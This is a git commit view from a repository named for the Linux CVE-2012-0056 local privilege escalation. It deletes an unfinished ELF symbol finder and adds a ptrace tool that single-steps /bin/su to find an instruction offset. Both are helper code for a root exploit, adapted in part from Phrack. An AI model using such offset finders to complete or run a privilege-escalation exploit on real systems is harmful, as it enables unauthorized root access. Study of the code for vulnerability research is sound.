aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2012-01-24 06:24:30 +0100
committerJason A. Donenfeld <Jason@zx2c4.com>2012-01-24 06:24:30 +0100
commitc95b8b8f04572fb3409530982451e7a5fd122673 (patch)
treed268e53398b5554b5400a4f61bc059dd1f53e782
parentFix shellcode for dirty rsi. (diff)
downloadCVE-2012-0056-c95b8b8f04572fb3409530982451e7a5fd122673.tar.xz
CVE-2012-0056-c95b8b8f04572fb3409530982451e7a5fd122673.zip
Add initial version of ptrace finder for x64.
-rw-r--r--exit-ptrace-finder.c217
-rw-r--r--ptrace-offset-finder.c46
2 files changed, 46 insertions, 217 deletions
diff --git a/exit-ptrace-finder.c b/exit-ptrace-finder.c
deleted file mode 100644
index 22b719d..0000000
--- a/exit-ptrace-finder.c
+++ /dev/null
@@ -1,217 +0,0 @@
-/* NOTE: this code does not yet work */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <errno.h>
-#include <unistd.h>
-#include <sys/wait.h>
-#include <sys/types.h>
-#include <sys/ptrace.h>
-#include <link.h>
-#include <elf.h>
-
-// Much from http://www.phrack.org/issues.html?issue=59&id=8#article
-
-#if defined(__i386__)
-#define Elf_Dyn Elf32_Dyn
-#define Elf_Ehdr Elf32_Ehdr
-#define Elf_Phdr Elf32_Phdr
-#define Elf_Sym Elf32_Sym
-#define Elf_Word Elf32_Word
-#define Elf_Start 0x08048000
-#elif defined(__x86_64__)
-#define Elf_Dyn Elf64_Dyn
-#define Elf_Ehdr Elf64_Ehdr
-#define Elf_Phdr Elf64_Phdr
-#define Elf_Sym Elf64_Sym
-#define Elf_Word Elf64_Word
-#define Elf_Start 0x00400000
-#else
-#error "What elf arch?"
-#endif
-
-
-/*
- * search locations of DT_SYMTAB and DT_STRTAB and save them into global
- * variables, also save the nchains from hash table.
- */
-
-unsigned long symtab;
-unsigned long strtab;
-int nchains;
-
-/* attach to pid */
-void ptrace_attach(int pid)
-{
- if ((ptrace(PTRACE_ATTACH, pid, NULL, NULL)) < 0) {
- perror("[-] ptrace_attach");
- exit(-1);
- }
- waitpid(pid, NULL, WUNTRACED);
-}
-
-/* detach process */
-void ptrace_detach(int pid)
-{
- if (ptrace(PTRACE_DETACH, pid, NULL, NULL) < 0) {
- perror("[-] ptrace_detach");
- exit(-1);
- }
-}
-
-/* read data from location addr */
-void read_data(int pid, unsigned long addr, void *vptr, int len)
-{
- int i, count;
- long word;
- unsigned long *ptr = (unsigned long *)vptr;
- count = i = 0;
- while (count < len) {
- word = ptrace(PTRACE_PEEKTEXT, pid, addr + count, NULL);
- count += 4;
- ptr[i++] = word;
- }
-}
-
-/* read string from pid's memory */
-char *read_str(int pid, unsigned long addr, int len)
-{
- char *ret = calloc(32, sizeof(char));
- read_data(pid, addr, ret, len);
- return ret;
-}
-
-/* write data to location addr */
-void write_data(int pid, unsigned long addr, void *vptr, int len)
-{
- int i, count;
- long word;
- i = count = 0;
- while (count < len) {
- memcpy(&word, vptr + count, sizeof(word));
- word = ptrace(PTRACE_POKETEXT, pid, addr + count, word);
- count += 4;
- }
-}
-
-/* locate link-map in pid's memory */
-struct link_map *locate_linkmap(int pid)
-{
- Elf_Ehdr *ehdr = malloc(sizeof(Elf_Ehdr));
- Elf_Phdr *phdr = malloc(sizeof(Elf_Phdr));
- Elf_Dyn *dyn = malloc(sizeof(Elf_Dyn));
- Elf_Word got;
- struct link_map *l = malloc(sizeof(struct link_map));
- unsigned long phdr_addr, dyn_addr, map_addr;
-
- /*
- * first we check from elf header, mapped at 0x08048000, the offset
- * to the program header table from where we try to locate
- * PT_DYNAMIC section.
- */
-
- read_data(pid, Elf_Start, ehdr, sizeof(Elf_Ehdr));
- phdr_addr = Elf_Start + ehdr->e_phoff;
- printf("[+] Program header at %p.\n", (void *)phdr_addr);
- read_data(pid, phdr_addr, phdr, sizeof(Elf_Phdr));
-
- while (phdr->p_type != PT_DYNAMIC)
- read_data(pid, phdr_addr += sizeof(Elf_Phdr), phdr, sizeof(Elf_Phdr));
-
- /*
- * now go through dynamic section until we find address of the GOT
- */
-
- read_data(pid, phdr->p_vaddr, dyn, sizeof(Elf_Dyn));
- dyn_addr = phdr->p_vaddr;
-
- while (dyn->d_tag != DT_PLTGOT)
- read_data(pid, dyn_addr += sizeof(Elf_Dyn), dyn, sizeof(Elf_Dyn));
-
- got = (Elf_Word)dyn->d_un.d_ptr;
- got += 4; /* second GOT entry, remember? */
- /*
- * now just read first link_map item and return it
- */
- read_data(pid, (unsigned long)got, &map_addr, 4);
- read_data(pid, map_addr, l, sizeof(struct link_map));
- free(phdr);
- free(ehdr);
- free(dyn);
- return l;
-}
-
-/* resolve the tables for symbols*/
-void resolv_tables(int pid, struct link_map *map)
-{
- Elf_Dyn *dyn = malloc(sizeof(Elf_Dyn));
- unsigned long addr;
- addr = (unsigned long)map->l_ld;
- read_data(pid, addr, dyn, sizeof(Elf_Dyn));
- while (dyn->d_tag) {
- switch (dyn->d_tag) {
- case DT_HASH:
- read_data(pid, dyn->d_un.d_ptr + map->l_addr + 4, &nchains, sizeof(nchains));
- break;
- case DT_STRTAB:
- strtab = dyn->d_un.d_ptr;
- break;
- case DT_SYMTAB:
- symtab = dyn->d_un.d_ptr;
- break;
- default:
- break;
- }
- addr += sizeof(Elf_Dyn);
- read_data(pid, addr, dyn, sizeof(Elf_Dyn));
- }
- free(dyn);
-}
-
-/* find symbol in DT_SYMTAB */
-unsigned long find_sym_in_tables(int pid, struct link_map *map, char *sym_name)
-{
- Elf_Sym *sym = malloc(sizeof(Elf_Sym));
- char *str;
- int i = 0;
- while (i < nchains) {
- read_data(pid, symtab + (i * sizeof(Elf_Sym)), sym, sizeof(Elf_Sym));
- i++;
- if (ELF32_ST_TYPE(sym->st_info) != STT_FUNC)
- continue;
-
- /* read symbol name from the string table */
- str = read_str(pid, strtab + sym->st_name, 32);
- printf("%s\n", str);
- /* compare it with our symbol*/
- if (strcmp(str, sym_name) == 0) {
- printf("[+] Found symbol.\n");
- return (map->l_addr + sym->st_value);
- }
- }
- /* no symbol found, return 0 */
- return 0;
-}
-
-int main(int argc, char *argv[])
-{
- int child = fork();
- if (child) {
- wait(NULL);
- struct link_map *map = locate_linkmap(child);
- printf("[+] Link map located.\n");
- resolv_tables(child, map);
- char symbol[] = "exit";
- unsigned long address = find_sym_in_tables(child, map, symbol);
- if (!symbol)
- printf("[+] The value of %s is %lx.\n", symbol, address);
- else
- printf("[-] No such symbol %s.\n", symbol);
- ptrace_detach(child);
- } else {
- ptrace(PTRACE_TRACEME, 0, NULL, NULL);
- execl("/bin/su", "su", "not-a-valid-user", NULL);
- }
- return 0;
-}
diff --git a/ptrace-offset-finder.c b/ptrace-offset-finder.c
new file mode 100644
index 0000000..34e5682
--- /dev/null
+++ b/ptrace-offset-finder.c
@@ -0,0 +1,46 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <errno.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <sys/user.h>
+#include <sys/ptrace.h>
+#include <sys/reg.h>
+#include <asm/unistd_64.h>
+
+int main(int argc, char *argv[])
+{
+ int fd[2];
+ pipe2(fd, O_NONBLOCK);
+ int child = fork();
+ if (child) {
+ close(fd[1]);
+ char buf;
+ for (;;) {
+ wait(NULL);
+ if (read(fd[0], &buf, 1) > 0)
+ break;
+ ptrace(PTRACE_SYSCALL, child, NULL, NULL);
+ }
+
+ struct user_regs_struct regs;
+ for (;;) {
+ ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
+ wait(NULL);
+ ptrace(PTRACE_GETREGS, child, NULL, &regs);
+ if (regs.rip < 0x700000000000) {
+ printf("0x%lx\n", regs.rip);
+ break;
+ }
+ }
+ } else {
+ ptrace(PTRACE_TRACEME, 0, NULL, NULL);
+ close(fd[0]);
+ dup2(fd[1], 2);
+ execl("/bin/su", "su", "not-a-valid-user", NULL);
+ }
+ return 0;
+}